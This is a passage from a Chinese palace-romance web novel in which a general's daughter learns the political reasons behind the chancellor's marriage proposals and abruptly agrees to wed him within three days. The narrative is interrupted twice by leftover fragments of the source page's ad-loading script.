什么奢靡凡物,不过都只是用来衬这神仙一样不沾凡尘的女子的。 见她呆愣,倒是孟瑶光好脾气地先笑起来:“大将军真是将你养得极好。比幼时见到那小小一团的人儿瞧起来硬实不少。” “娘娘还记得我?”岑听南对她心生亲近,见过礼后便大大方方直问。 孟瑶光目光落在她身上,却更像透过她看向了别处:“如何会不记得?那是永安十八年的宫宴,你父亲镇北有功,先皇为他特设的这场宴席……那时,你才三岁吧。” “跟在你阿兄身后,那么小一点,路都走不稳。大将军怕耽误了开宴时间,想让宫女抱你,你却不乐意,把宫女的手甩开,把你阿兄也甩开。许是觉得被轻视了?你抬着头不肯服气,跌跌撞撞硬要自己走完那段宫门。” “那模样,我现在都记得。” 被人说起自己都不记得的往事,岑听南忍不住低低“啊”了一声……她小时候就这么倔牛脾气?? 孟瑶光轻笑着,继续讲:“那一年你父亲将边境线北移三十里,大胜归朝,先皇心头快慰得很。见你这样,不但没有斥责,反倒大笑几声,命令所有人都不许拦着你,要任你一个人走完——于是文武百官,就那么等着一个小豆丁走到她娘亲身边,才敢出声道贺大将军有了个不逊于他的好女儿。” 这段前尘往事,岑听南当真是丝毫记忆都无了。 从她记事起,她便只知自己畏寒是因为三岁那年的宫宴上落了水,天寒地冻的,等到被人发现时已经去了半条命,只有同样湿漉漉的孟瑶光呆在一旁——那时的孟瑶光,还只是当今圣上彼时的四皇子身边一个不惹眼的小宫女。 全天下的人都以为是孟瑶光救了岑听南。 可孟瑶光却避开了大将军的礼,她悄声告诉他们一家子:“救岑姑娘的人不是我。” 这么多年,岑府的人也没能从孟瑶光的口中问到救她的人究竟是谁。 等到孟瑶光从宫女变作高高在上的孟贵妃,便更是无从问起了。 一家人只能将这救命的大恩,尽数记在了贵妃头上。若有朝一日贵妃需要他们,岑府上下都当竭尽全力——自记事起,爹娘就是这样嘱咐她的。 可这些年来,孟瑶光盛宠不断,却实在是没有他们一家人替她卖命的机会。 难道,就是现在了? 岑听南在心中几番思量,对上孟瑶光有些虚无的眼神笑道:“若不是娘娘提及,臣都不知晓还有这么一段事。可见臣自小时起,就不大懂事。” “你是很懂事的。被人推下水也不哭不闹,被救起来后命都快没了,迷迷糊糊却还知道同救你的人一个劲道谢——是以尽管后来满上京的人都道你娇纵,我却知道,不是这么回事的。大将军夫妇……将你养得很好。” 孟瑶光的声音落入岑听南耳中,不啻惊雷。 她猛然抬起头,这才发现满大殿的婢女不知何时已尽数退走,只剩贵妃与她面对面,轻轻聊起这桩前尘。 岑听南艰难道:“……我是被人推下水的?!这人为何要害我?救我的又是谁?” 孟瑶光却换了话题:“你可知我为何在今日唤你进宫?” 7. 喜鹊枝头闹(1) 为何在今日唤她进宫? 岑听南双眸微微眯起:“比起这个,我更想知道当年是谁推我下水?这么多年,娘娘从未对岑家人提起过一星半点,定是有您自己的考量。可为何偏偏又在此时提起?” 就在父兄即将出征前一日。 突然同她讲起这桩陈年辛密,总不至于是深宫寂寥,贵妃闲得想找个人打发日头吧? 她直视着孟瑶光皎月般澄澈的眼,并不闪躲。 孟瑶光见岑听南这幅模样,心知今日若不说个清楚,这倔姑娘只怕不会善罢甘休。 孟瑶光:“推你下水的只是宫中一个再起眼不过的奴才,推你下水后便跳水自尽了。这么多年,我们也不知他究竟是谁的人。” “这人,原也不是冲你而来。”孟瑶光轻叹一口气,“你不过是被殃及的池鱼。” 岑听南紧紧抿着唇,一言不发。 她当然知道自己只是池鱼,可这池鱼也有自己亲密的家人,有原本很光耀的人生。池鱼被无故殃及,总有问一问为什么的权力吧?这个糊弄的说法,岑听南接受不了。 孟瑶光看她良久,淡淡笑道:“还和幼时一样,这么倔。罢了,今日既叫你来,原也没想着糊弄过去,左右两桩事也有关联,都是要说清楚的。” “屋里沉闷,不如去后院中松泛松泛。你这身子可还畏寒?” 岑听南略松了神色:“多谢娘娘关怀,只是淋了雨有些易感风寒,平日里倒是不打紧的。” “也没传言中那么娇弱。”岑听南想了想,又补上一句。 孟瑶光也想起上京城中甚嚣尘上的娇女传闻,不由莞尔。 这一笑可真是叫满屋玉石都失了颜色。 岑听南想:难怪娘娘能数十年圣宠不眷,一路从小宫女坐到如今的位置。 她不单貌美,也有颗仁善的心,连岑听南畏寒也记在心头。她若是肯捧了一颗真心待谁,俗世男子又有几人能不为她心动? 春雨初霁后的花园果然清新绝丽。 百花竞相开着,雨露惫懒地坠在花瓣之上,衬得此处愈发锦簇。 孟瑶光带着岑听南一路行过□□,穿过翠盖亭亭的梧桐,来到一处危石堆叠而成的假山之前,假山四野高高低低种满凤尾竹,掩映成满目苍翠欲滴的绿,延伸至粼粼池水前。 池上有未开的夏荷叠叠,池中亭台楼阁遥遥矗立,无声与她们对望。 这池水既宽且阔,若将人横过来沉下去,只怕要三十人的躯体才能将将从池的一头,连到池的另一头。 这么些年,也不知里面是否真有人长眠。 岑听南望着一池幽深碧波,本能地止了步。 她虽不记得此处,却对这里有种莫名惊惧之感。 孟瑶光拉起岑听南的手向前:“这儿便是当年你落水的地方。有我在,别怕。” 当年她只是个小宫女,如今却已是有些权势傍身的人。 没人敢在如今的孟瑶光眼皮子底下作乱。 “那时我们在假山后头谈事,你不知为何同乳娘走散,追着只蝶来到假山前面,撞见那鬼祟奴才。慌乱之下,那人将你推入池中,见事情败露索性自己跳入水中。” “而救你起身的人,正是当今左相。” 岑听南指尖几乎掐进了掌中:“顾子言?!” 她这条命竟是那位左相救下? 可贵妃娘娘又为何会同左相躲在假山后头?是幽会还是别有图谋?圣上又可知此事? 孟瑶光似乎并不意外她的失态,望着池水怔怔出神:“从前,四皇子、子言同我,我们三人是再亲密不过的挚友。那时我与阿澈镇日在一起,便是在这假山后头,子言表明了他欲扶持阿澈的心迹。若非子言改换门庭,阿澈……绝不会有今日之位。” “我们曾经那样要好。可如今,他们却离我越来越远了。”孟瑶光的声音逐渐低落下去。 岑听南却听得心惊,阿澈……若她没记错,当今圣上名讳李璟澈。 难怪……难怪左相年纪轻轻便能位居高位。 可这一切同她又有什么关系! 她对四皇子与顾子言如何成为陛下与权倾朝野的左相并不敢兴趣,这样危险的事,为何要说与她听? 岑听南几乎要将掌心都掐紫,才能勉强自己堪堪稳住仪态。 孟瑶光回过神来,看向她安抚一笑:“人老了,便喜欢回忆往事,叫岑姑娘笑话了。” 岑听南:“哪里的话,娘娘美若天仙,正是最好的年纪。” 孟瑶光笑着摇头:“傻姑娘,女子不同男子。我们最好的年纪短暂得很,转眼便逝去了,他们男子却有广而阔的天地,长而久的年华。” “罢了。今日不说这些扫兴话。唤你来,只想将事情原原本本告诉你。”孟瑶光顿了顿,“更想在你知晓后,问一问你,可还要嫁与左相?” 岑听南闻言猛然抬头,勉力挤出个笑来:“贵妃娘娘竟连我的终身大事都记挂在心头,真叫我好生惶恐。” 她岑听南何至于有这么大的面子,连贵妃都惊扰。听她所言,与左相是旧交,难道是左相找到她来做说客? 那这位左相所图,怕不是她,是整个岑家! 或说,是父亲手中调兵遣将的权力吧?! 他想如何?! 孟瑶光见她惊得站立不稳,伸出纤手虚虚扶她一把:“别误会,我不是替左相来说服你的。” 岑听南吸了口气,强迫自己镇定:“若非受左相所托,今日这桩到底缘何?” 孟瑶光:“左相求娶被拒一事沸沸扬扬传遍整个上京,你就没想过为何?” “他大你整整十个年头,与你并非良配,却为何如此笃定要你。你不觉得奇怪么?” 何止奇怪,简直就是匪夷所思。 午夜梦回,岑听南都要怀疑左相是不是失心疯的程度! “两年前,突然传出左相喜好娇软美人的传闻,两年后,他一次次求娶于你。这张网,那二人足足布了两年。”孟瑶光语气轻缓,似叹息,又似不忍。 ……那二人,原来如此。 左相不过是棋,背后布局之人正是那位九五之尊! 岑听南沉默须臾,抬起头:“左相或者说那位的谋划,我已看懂。可娘娘为何要告诉我?不怕我听了这话继续拒了左相,坏他们好事么。” 孟瑶光却道:“我巴不得你拒绝。” “你可知当初,要娶你的,并非左相。而是当今圣上。” “你只差一点儿,就真进了宫,真做了我的妹妹。” 岑听南掩唇惊呼,不由得倒退几步,险些一脚踩入身后池塘! 全赖孟瑶光身侧一个眼疾手快的沉默婢子,电光火石间飞快出手拉她一把,这才让她免了落水之苦。 岑听南心乱如麻地道谢,那婢子无声颔首,又迅速站回了孟瑶光身侧……可那姿态,不似保护,更像是看守。 这厢惊魂未定,那厢孟瑶光还在继续讲:“若非左相开口,你此刻早连半分回绝的余地都无了。” 岑听南定定看着眼前眉目悲戚的贵妃,只觉可笑。 “这样大费周章,就为了兵权?”她听见自己声音轻飘飘的,就这样堂而皇之,将最大不敬的话,赤裸裸揭露在了这青天白日之下。 “虽然荒谬,但确实如此。”孟瑶光纠结着用词,生怕伤了岑听南的自尊心似的,“我知你无意于左相,我也不忍见他为了这种东西一时着了相,将自己一生搭入其中。更不愿见你在这样好的年纪,无辜赔上大好年华,真心错付。” “这样被迫结合的悲剧实在太多,宫里日日可闻。女子们的怨气将这后花园的花都要染得凋零——若你们既能避免这样的未来,又为何不去做呢?” 孟瑶光说得真诚,可岑听南听着听着,却几乎笑出了声:“娘娘几近而立之年,却被保护得,比我一个未及双十年华的女子还要单纯啊。” 孟瑶光被她说得眉头微蹙:“为何这么说?” “难道不是么?圣上是您夫君,左相是您挚友,这两人为了将兵权握在手中,不惜以一个无辜女子一生做筹,要挟她的父亲,好叫这位安分守己,好让您的夫君,您的青梅竹马安坐朝堂!而您却在背后偷偷将此事告知与我,不是单纯,难道要我说你一句愚昧么?” 岑听南抹去眸中笑出的泪花,直着腰字字铿锵道:“我岑家人无愧天地,无愧君王,无愧黎民百姓。我父兄征战沙场,用头颅用热血,想要去换的,是千千万万盛乾朝黎民百姓的安稳日子。” “不是权力、名声。更不是君王的猜忌!” “他们在这个职位之上,食君俸禄,为君解忧,是本分的事。若只是担心大将军手握兵权,有朝一日威胁到他们安睡之榻,那大可不必!” 孟瑶光却叹息:“并非你所想如此。圣上并未对你父亲有所猜忌。” 他只是在提前防范,只是一个君王的本能使他不得不如此。 孟瑶光亲眼见到当初的李璟澈是如何一步步被深宫那孤寂高位所蚕食,又如何一点点成为如今这个不怒自威却看不到真心的乾云帝。 她只是不想顾砚时再成为权力的牺牲品。 当年立誓要见到海清河晏,子民幸福的三人中,她和李璟澈已走到如今这地步,不可缓和,剩下的那一人,总该要过得好一些吧? 不然他们这些年的努力与受过的折磨,又算什么? 岑听南:“既未猜忌?为何非得是我?难道真如传闻所言,左相喜好娇软美人,那可真是巧了。我这人自小爹不在身边,最喜欢父兄一样年长的男子,左相大我数十岁,这简直好极了。我们俩天造地设、情投意合,最好明日就成亲才是!” 说完这一大段气话,岑听南心如擂鼓。 她突然意识到,这哪里是什么气话?这不就是多日来她苦思而不得的权力中心么? 她不知父兄身死命败同乾云帝的忌惮有没有关系,但她知道再没有比今日更好的机会了! 孟瑶光眉头已紧紧拧在了一处:“岑姑娘,莫要任性。你当初明明说……你最不喜年纪大的男子。” 岑听南面不改色:“哦,那是上月的事了。娘娘还不知道吧,我这个年纪的女子最是没个定性了,上月我还喜欢吃刘记铺子的点心,这月就爱上陈记的出品了。想来男子也一样,至多不过换换口味的事,一点也不麻烦。” “哈哈哈!顾砚时,你这未来新妇当真有趣得紧。日后你的生活怕是会有趣得紧。也好,你这般淡漠的人,正缺个活泼的陪着。”一道不羁的声音自假山另一侧远远传来,合着那人拍掌大笑的动静,听得出愉悦得紧。 岑听南心头一惊,快速扫了贵妃一眼,怎么会有人在此时过来,难道她没命人看着么?! ……那她方才说的那些大逆不道的话又被听去多少?! 百转千回之际,却见孟瑶光眼眉悲凉了下来。 此时一满面怒容阴沉得紧的男子大步冲她们迈来,一把抓住孟瑶光的手腕欲将她拖拽走。 这人动作粗鲁,丝毫不顾及孟瑶光的身份与会否受伤,岑听南惊惶不已,身体比脑子更快地拦住了来人:“大胆!你要做什么?” 孟瑶光的侍女呢?为何不保护她? 岑听南正想着,却见婢女倏地跪在地上,叩首不起了。 在这深宫中,能随意带走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贵妃,让婢女见了就跪下的男子……唯有那一人了。 乾云帝目光停在岑听南身上,只一眼就将岑听南剜了个清醒,四肢百骸好似被凌迟过似的,木然让到了一旁。 孟瑶光却好似习惯了被这样对待似的,并不将面前狮子一样又急又怒的乾云帝放在眼里,反倒有空抽出另一只手臂,轻轻拍了拍岑听南,叫她莫要害怕。 可下一秒,那如玉般白皙皓腕又被乾云帝捉了回去束在手中,大庭广众之下,用力掐着孟瑶光下颌,吃人似地开了口:“孟瑶光,告诉孤,何谓‘被、迫、结、合。’” “嫁给孤做贵妃,很委屈你么?” “还是你心头心心念念的另有他人?!” 孟瑶光温声道:“阿澈,你弄痛我了。” 乾云帝却充耳不闻:“不说?我有的是法子让你说!” 说着乾云帝便在众目睽睽中,将孟瑶光打横抱起,径直扬长而去,留下岑听南与两个陌生男子在假山旁。 偏这两人中,还有一个,正是她背地胡言乱语的当事人。 岑听南恨不得将头都埋入地下。 “我四哥四嫂这情趣真是多年未变啊。一个淡得要死,一个疯得像狗。”打趣那声音懒洋洋道了句。 岑听南听了来气:“什么情趣?贵妃娘娘手腕都被掐红了你没看到么?” 男子顿时起了兴致:“哟,没想到传闻中骄纵顽劣的岑家小姐,竟是个如此心软的。顾砚时啊顾砚时,你日后可有福气了。” 岑听南到底是个未议亲的贵女,先前被贵妃逼急了胡言乱语是她不该,可被眼前这人拿来做桥却绝非她所愿。 纵使这人是皇亲国戚,岑听南也准备同他好好说道说道了。 谁料一抬首,竟被另一道清隽冷峻的身影吸住了目光。 是他?昨日躲雨遇见那人。 等等……刚刚这人叫他——顾砚时?? 岑听南彻底愣住了。 没正形的男人一见便乐:“瞧,顾砚时你未来新妇看你可都看呆了。好好好,我看你俩可真如岑姑娘所说,是天造地设的一双。瞧着比我四哥四嫂那对怨偶强上不少。” 顾砚时淡淡睨他一眼:“九王爷若是闲得慌,便将手底下的人好好调教一番。否则被我抓到,可别说我不给你九王爷面子。” 这吊儿郎当一副纨绔样的人竟是九王爷李璟湛! 岑听南昨日还费尽心机想同他搭上话,却连个衣角都摸不着。 今日却不费吹灰之力就站到了当今盛乾王朝最有权势的几人面前,同他们平视对话。 若是能离他们近一些,再近一些。 父兄的冤屈,是不是就有转圜余地了? 亦或是,若父兄的苦难本就由他们铸造,那留在他们身边,总能察觉一二的吧? 岑听南悄然捏紧了拳头,已在心中暗下决心——就是日后得同孟贵妃道个歉,为今日叫她白费唇舌。 那厢李璟湛被顾砚时一激,也收起了嬉皮笑脸:“说你无趣,真不是冤你。走了,可别跟过来,我见到你就烦。” 岑听南立在原地,低头沉思下一步应当做些什么。 同左相打个招呼么?还是问问他为何把乞儿送进军中? 算了,这么直接能问出个什么来。 千头万绪如麻,却乍见眼前石径上多出衣袂一角。 还是高洁清雅的竹纹。 “多大人了,还啃手?”顾砚时的嗓音如雨后青竹般,落在耳中让人心神澄澈不少。 岑听南有些恼,一想东西就容易啃手这习惯她自小就有。 娘亲说没有贵女是这样的,可她根本改不掉。为了不啃手,不在大庭广众之下丢人,岑二姑娘索性一气之下此后彻底放弃了思考。 脑子一旦成为摆设,手也就不用被啃了。 顾砚时:“走吧。” 岑听南愣住:“去哪?” 顾砚时看她一眼:“你父兄明日出征,现下快至午时,快马加鞭还来得及在太阳落山前赶到军营。” 岑听南莫名:“去军营做什么。” “你与我情投意合、天造地设一双,自然是去军营提亲。” 岑听南轰然红了脸,结巴道:“不……不是,我方才只是随口胡乱……” 这人说话瞧着冷冰冰的,可岑听南发誓,她真从中听出一丝笑意了! 顾砚时并不理她:“三月后过门,可有异议?亦或是——等你父兄归来?” 提到父兄,岑听南便冷静了下来,方才那丁点的少女娇羞也随之抛诸脑后。 只是若等到三月后,这时间实在太久了些。 她大大方方看进顾砚时眼底:“既然情投意合,为何要等到三月后?左相大人难道是不敢?” “我不敢?”顾砚时竟笑了起来,“既如此,三日后,我便来府上迎亲。” 原来很少笑的人,笑起来会这样好看。 似雪山消融。 岑听南心头直跳,移开了眼。 再看回来时,却又只见冷脸一张,好似方才的笑不过是她错觉。 “怎么不说话?”顾砚时视线粗粗掠过面前耳根都泛起一层薄粉的女子,慢条斯理道,“难道是岑二姑娘不敢?” 岑听南立刻昂起头:“我有什么不敢?!” 她岑家的人,一生就不知道怕字怎么写。 ——不过是嫁个人。 ……还是嫁个顶好看的男人。 有什么不敢的。 待到父兄危机解除,最多不过和离。 反正上京城的高门贵女们还没有过和离的先例,就让她来做这第一人好了! 8. 喜鹊枝头闹(2) “什么?你要成亲?” “……就在三日之后?” 宋珏几乎被女儿的胆大妄为气笑了。 岑听南使个眼色,琉璃与玉珠连忙向前一步,一左一右架着宋珏坐到椅子上,嘴里还不住说着些安抚的话——都是岑听南教过她们的。 宋珏听在耳里虽受用许多,但左思右想,还是觉得心惊。 “你且说说,满上京城的贵女,有谁的婚事不是父母之命媒妁之言。你倒好,进趟宫回来便说三日后要出嫁了,我且问你,三书六礼何在,你那将你勾得不管不顾的郎婿又是哪门哪户?”宋珏按着额头摆摆手,不想同想一出是一出的女儿多言。 岑听南垂了眸,一一作答:“聘书、礼书约莫已经在路上了……至于六礼,事急从权,这不是爹爹和阿兄快出征了么,我想着,在他们出行前定下来,倒也是解决他们心头一桩大事。这样他们打起仗来才能更无后顾之忧呀!” 岑听南抬出父兄出征一事,宋珏脸上却并未见和缓。 “你想着?我看是我和你爹将你娇惯得太过!才让你连这么天大的事也敢自行拿主意了。”宋珏顿了顿,又问,“你午后才出宫,出宫后径直回府,你父兄如何会得知这桩荒唐事?” 岑听南抬首,小碎步挪到母亲身前,露出个乖巧且讨好的笑来:“我那将我魂都勾走的未来郎婿,已带着媒人去军营同父兄纳采了。” 她上辈子最擅长的,便是在父母兄长面前扮乖巧。 这副模样一端出来,不计闯了什么大祸,都总有人替她收尾的。 可显然,今次却不大好使了。 “简直荒唐!”宋珏既惊且怒,“你可知军营是何等重地?你以为是随便什么等闲之人都能出入的?纵使你不担忧这荒唐冤家被当做奸细拿住,也要多替你父兄顾虑顾虑才是。他们明日便要出征!” 是了,父兄明日便要出征,大战当前,任何有损父兄名声的事半点都做不得。 前世岑听南就是不懂得这个道理,才会让父兄出征后的几月里,上京城都流传着镇北大将军教女无方,骄兵必败的谣言。 重来一世,她又如何会再犯同样的错? 所以她干脆连军营都未去,只叫左相去处理,打定主意绝不抛头露面叫人说闲话。 宋珏被擅作主张的女儿气得心口直抽,叹了许多回气,可见女儿低眉垂首却又不免心疼,胸膛起伏几回,终于压住少许怒气只道了句,“罢了。你叫上人,同我去一趟军营罢。” 岑听南迟疑:“这就不必了吧?三日后就要过门,还有许多紧要事要做才是。” 宋珏气不打一处来:“最紧要便是去军营将你的冤家捞出来!不然三日后你同谁成亲去?” “一路上你再好好同我说一说,你们究竟是如何认识的?又是哪家没有章法的小子这样诱拐你?”宋珏一面起身命人备好出行轿乘,一面细数,“难道是礼部侍郎的公子?我瞧回回元宵灯会上他那眼睛都黏你身上挪不开了……也不对,礼部侍郎的公子最是懂礼数,是断然做不出此等行径的。” “这么不知礼,难道是什么小门小户出来的。”宋珏神色顿时严肃不少,“你可当真想好了?娘亲与你爹虽不奢望你嫁什么皇亲国戚,只愿你欢喜,可自古门不当户不对的结合,就从来没有好果子吃的。” 在宋珏心中,女儿虽然被她夫妇二人宠惯得娇纵了些,却是个没什么脑子又心性简单的,若嫁进罅隙不断地积贫之家——只怕要被磨磋掉半身筋骨。 她怕届时岑昀野要打上门去替女儿讨个公道。 宋珏神色变幻莫测,站在厅内眉头高拧,岑听南终于得了空说话。 她讪讪一笑:“……或许这人,无须我们去搭救?” 宋珏终于停下焦虑,认真看着女儿:“到底是谁?” 岑听南默了一瞬,玉珠在旁再也看不下去了,抢道:“就是月前刚来过府上,又被姑娘拒绝了的那位左相大人啊!” 宋珏惊得一下坐在了椅子上,喃喃:“……左相?……那是无须你我搭救。” 岑听南颇有些心虚地侧过头去。 …… 东郊龙武营,岑闻远一路策马狂奔入营。 路上接二连三的道喜让他不胜烦忧。 岑闻远一把掀开主帐兜头便问:“爹,外头都在传妹妹要嫁给那个老色鬼了,到底怎么回事啊?!” “咳咳咳。”岑昀野一口茶呛在喉头,“臭小子言行无状!滚出去!” 岑昀野朝着左侧赔笑:“犬子莽撞惯了,左相见笑。” 顾砚时并不如何在意:“将军唤我子言即可。” “既已说定……日后,便都是一家人。”顾砚时说着置了茶盏,起身朝岑昀野深深一作揖,便迈步出了主帐。 只在路过岑闻远时略略停了停,同他微微颔首。 从骨子里沁出一股世家公子的慵贵,偏又带着点出世的清冷。 待他一走远,岑闻远立刻对着他的背影使出记勾拳:“瞧他那看不起人的样儿!” “你当真把娇娇儿就这么嫁了?”岑闻远皱起眉头看吹胡子瞪眼的老爹,“她不是嫌这人老么,怎么这又搅和到一块儿去了!” 岑昀野连灌了三杯茶:“你问我我问谁去!他把娇娇儿贴身的玉佩和亲笔书信都带来了。你妹妹说此前没见过左相样貌,今日宫中一见方知左相生得惊为天人,也顺便为了让你我放心出征,立刻马上三日后就要嫁!” 岑昀野越说越不是滋味,将茶重重搁在桌上:“真是女大不中留!也不说等她爹出征回来再嫁!” “等你回来?她都成老姑娘了!”岑闻远讶异地看着自顾自抹眼角的大将军,“……不是?老头儿你这是哭了?不是吧?你们父女两个都好可怕啊!” 下一秒就被大将军连茶带盏地扔在了身上。 岑闻远跳着脚被驱出了主帐,身后远远传来怒吼声:“兔崽子给老子滚回去!再仔细跟你妹妹确认一番!顺便把这堆劳什子的聘礼送回家中!” 这有什么好确认的?岑闻远随手扯了片叶子叼在嘴里,摇着头嘿嘿一笑。 “这左相生得,是好看。” 不怪娇娇儿会动了凡心。 - 岑闻远是个张扬性子。 也是个聪明人。自然知晓老爹为何要他快马加鞭大张旗鼓地将聘礼从军营运回家中。 这左相看着不声不响,倒还算个体面人。 别管他和娇娇儿为什么天雷地火的突然勾到了一块儿,总之他没命人悄无声息送了聘礼去将军府,而是亲自带着媒婆、带着聘书、礼书与十几车的聘礼来了军营,就是诚心诚意地展露出了对娇娇儿的尊重。 所以老头儿虽然嘴上不说,心底却是满意的。 岑闻远自然得卖力吆喝好让全上京城人都知道,自家妹子三日后要嫁与左相了才是。 好在他向来是个逗猫惹狗惯了的,一张脸在上京城那便是硬通货。今次特意整了头面,从城中打马而过,身后跟了十几车的聘礼,还专程挑了最远的路从城西入城,经由城南、城东,绕回最北边的将军府。 颇为惹眼。 “这不是礼部侍郎的公子么?是啊是啊我妹妹三日后出嫁了。” “雍王 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 世子久不见了,对对对,你怎么知道我家娇娇儿要嫁与左相了?” “是啊,我家妹子才貌双全,这左相……也是个好人,自然登对了!什么?拒了左相?没有的事啊,月前左相便是来下聘的!今日聘礼送去家中,我不过是个护送聘礼的。哎,我这个当阿兄的苦命啊。” “……今日这菜价不错啊?这位大娘我头先在宰相府前面的街市见过您吧?日后镇北大将军的二姑娘嫁过去左相家,也少不了要同您见面哩!” “这故事讲得好!当赏!三日后岑府与左相府的好事,说书人可也要说得这么精彩才行啊!” 是以不到半日时间,整个上京城都知晓了将军府与左相府的好事。 连兵部侍郎府中都在传。 王初霁将茶盏摔得满地都是。 王元武斥道:“混账东西!这可是永安侯府赏下来的青瓷冰纹盏,缺了角可就不圆满了!” 王初霁哭哭啼啼:“你镇日都说什么圆满,怎么不许我一个圆满呢!” 王元武抱着碎了的盏心疼得直唤:“哎哟哟碎了碎了,我怎么没许你个圆满?昨日厚着一张脸将左相邀来府上的是不是你爹?胡搅蛮缠不让他走的人又是不是你爹?连天公都做美下雨替你留人,你一个女儿家举着把伞奔出去,也没让人家看上你,怪谁?哎哟哟我的茶盏啊,不孝女,简直就是不孝女!” 王初霁尖叫着又将桌上茶盏推倒一片。 “你你你!左相同那岑家二姑娘不过也就见过一面吧?你同左相可是在多次宴会上见过数次了!你比不过人家拿我的茶盏发什么脾气!”王元武气得口不择言。 王初霁红了眼圈:“那岑听南生得这样貌美,还不是爹娘给了副好皮囊?我呢?我爹长什么样你心里没数么?还提什么从前的宴会,若不是你从前站错队,我至于跟着永安侯府的人去踩顾砚时吗?他如今得了势能给我好脸色就奇了怪了!” “啪。” 王元武一巴掌扇在了女儿脸上。 “茶盏可以碎,这话却不可以乱说。知道了吗?”王元武冷脸看着王初霁,一双眼里,都是漠然。 王初霁猝不及防捂着脸,好似被吓傻了。 半晌,才呆愣愣点了点头。 王元武便又换上了熟悉的神色:“哎呦呦我的茶盏啊,乖女儿莫哭,日后爹爹再替你寻个机会,定要让你接近那顾砚时!他当他是个什么东西,不过是个依附着圣上爬到这位置的走狗。还真当自己是个角色了。” 王初霁眼泪在眼眶里打着转,这次却没再敢让泪落下来。 - “子言。”乾云帝垂首把玩着手中一个玉佩,未曾抬头,“你可想好了?” 顾砚时从军营归来,乍见御书房里昏暗一片,微蹙了眉:“何故不让光透入?” 乾云帝沉默须臾:“如今,也就你还记得问问孤。” 顾砚时:“贵妃娘娘也是时常记怀君上的。” “呵,她若记怀,便不会将孤送的玉佩都退还了。”乾云帝极轻地笑了声,怕惊扰了黑暗似的,“她在怨孤啊,怨孤为了制衡,将你的一生都牺牲。” 顾砚时不置可否。 “可是子言,她怎么不想想,若不是你,若不是你,今日娶将军女儿的,就得是孤了啊……” “孤同她中间横亘了这样多的人,孤实在不想……不愿……” 顾砚时的声音冷冷清清回荡在殿中:“贵妃娘娘会理解君上的。” 乾云帝却没再接这话,良久,问道:“子言,你会不会也怨孤?” “臣,无心情爱。”顾砚时道,不辨悲喜。 9. 喜鹊枝头闹(3) “无心情爱?” “那是你还不懂情爱的好。”乾云帝摩挲手中玉佩,摇着头开口,“倘若有朝一日,你得了情爱滋味,便会回头怨孤。” “怨孤让你在最好的年纪,娶了不爱的人,还得同她相守一生。”乾云帝缓慢地抬起头,好似苍老了数十岁般。 每回他同孟瑶光吵了架都是这幅模样。 顾砚时早已见惯不怪。 他只是可惜,可惜那年意气风发说要改变山河的少年逐渐模糊了身影,亦可惜那个笑起来眉眼里都藏着光的姑娘也终究被锁在了深宫之中。 像笼中缓慢衰老的鸟儿。 他给不了这只鸟儿自由,只能偶尔劝一劝养鸟人,对这鸟儿……好一些。 于是顾砚时敛眉:“想来人在世间一遭便是如此,不是每个人都同圣上一般幸运,能得所爱之人相伴身侧。臣的确无意于岑二姑娘,却会担起应有的责任不负岑二姑娘——只要她的父兄不负盛乾王朝。” 仿佛听到什么天大的笑话一般,乾云帝倏地在昏暗中笑出声来。 那笑声似浪,一层高过一层,在最顶点处戛然停下。 “顾子言啊顾子言,你快至而立之年,却还不懂情之一字。” “也不知是可悲,还是幸福啊?” 顾砚时沉默良久:“臣的确不懂情爱。臣只知,钟情一人,不是要叫她难过的。圣上懂情,也懂何为爱,您爱着子民之时,尚且知道要轻赋税、重民生,要让天下百姓都吃饱饭。” “可为何——到爱一个女子时,却要叫她处处伤心,回回落泪?”顾砚时声音愈发透出股冷,“如若这便是情爱滋味,臣宁愿不识。” 乾云帝额头青筋暴起:“混账!孤与贵妃岂是你可随意置喙的?!” 顾砚时没有言语,似青竹般的脊背却挺得愈发硬直,在一室沉默中,无声同谁对抗着。 乾云帝这次是真的动了怒,却在抬首见到那抹永远孤桀的身影时,骤然卸了劲儿。 这么多年,走到这个位置,他和瑶光都变了,他们不再默契,不再同行。 只有顾砚时,什么都未变,岁月仿佛格外优待他。 他总是清清冷冷,孤零零一个人走在路上,在他身上谁也看不见来路,也仿佛望不见归途。 他总是平静,却狠戾。 只是世人少见他狠戾一面,都只道左相顾砚时为人清攫高雅,似青竹,似孤云。 乾云帝怅惘叹道:“子言还是那个子言,甚好。愿你永远不识得情爱滋味,便可永不知个中苦楚。永远只晓得爱这天下苍生。” 顾砚时从御书房退了出来。 暮色落在长长的宫道上,可容三辆马车并肩而过的宽阔大道,却始终没有与他同向而行的人。 “大人,直接回府吗?”候在宫门处的小厮平安见到自家大人若有所思的走出宫外,连忙迎上前来。 顾砚时抬起头,看着夜幕下的长街。 盛乾朝不设宵禁,入夜后是极为热闹的。 此时灯火通明,满城璀璨花灯将长无边际的黑夜照得如同白昼。小贩吆喝声络绎不绝,歌伎胡姬丝竹柔情声尽皆入耳,一派歌舞升平的好景象。 可他竟从未仔细看过这番热闹景象。 “随意走走吧。”顾砚时道。 平安喜上心头:“大人可是要去采买成亲所需物件?那可得去东市,万象斋边上的锦绣坊出品的织物最受上京城贵女们的欢喜!岑二姑娘若是见了定然也要称赞一句大人的良苦用心。” 平安激动得眉毛乱飞。他是个孤儿,幼时运气好叫他遇见了大人。 这些年自家大人受过的苦难奚落他都瞧在眼里,如今这个冷冰冰的家终于要迎来女主人了,平安想起来真是比谁都开心。 大人虽然瞧着面冷,可平安知道,他是个最心善的,不然也不会将他从人牙子手中买下来放在身边。 偌大一个丞相府,连个贴身的女婢都没有,成日就叫他伺候着。 整个上京城平安都没见过谁家大人活得比自家大人更像苦行僧的。 如今却好了,虽不知那位岑二姑娘何故改了主意,原本将大人那样不留情面地拒了,突然间又同意要嫁,但相府里总算有个管事的女人了! 总该不会还像从前一般无趣乏味吧? 下午大人吩咐他去采买聘礼时,他两条腿倒腾得飞快,生怕去得晚,让岑二姑娘觉得被怠慢。 等到女主人入主相府,以后的日子定然会越来越好的,平安美滋滋想着。 顾砚时闻言却愣了愣,神情古怪地瞧着小厮:“你如此喜悦是为哪般?” 不知道的还当是他娶妻呢。 平安咧开嘴,有些羞涩地笑了:“听闻岑二姑娘美得摄人心魄,满上京城的姑娘们加起来都比不过,我这是替大人开心呢。” 美么? 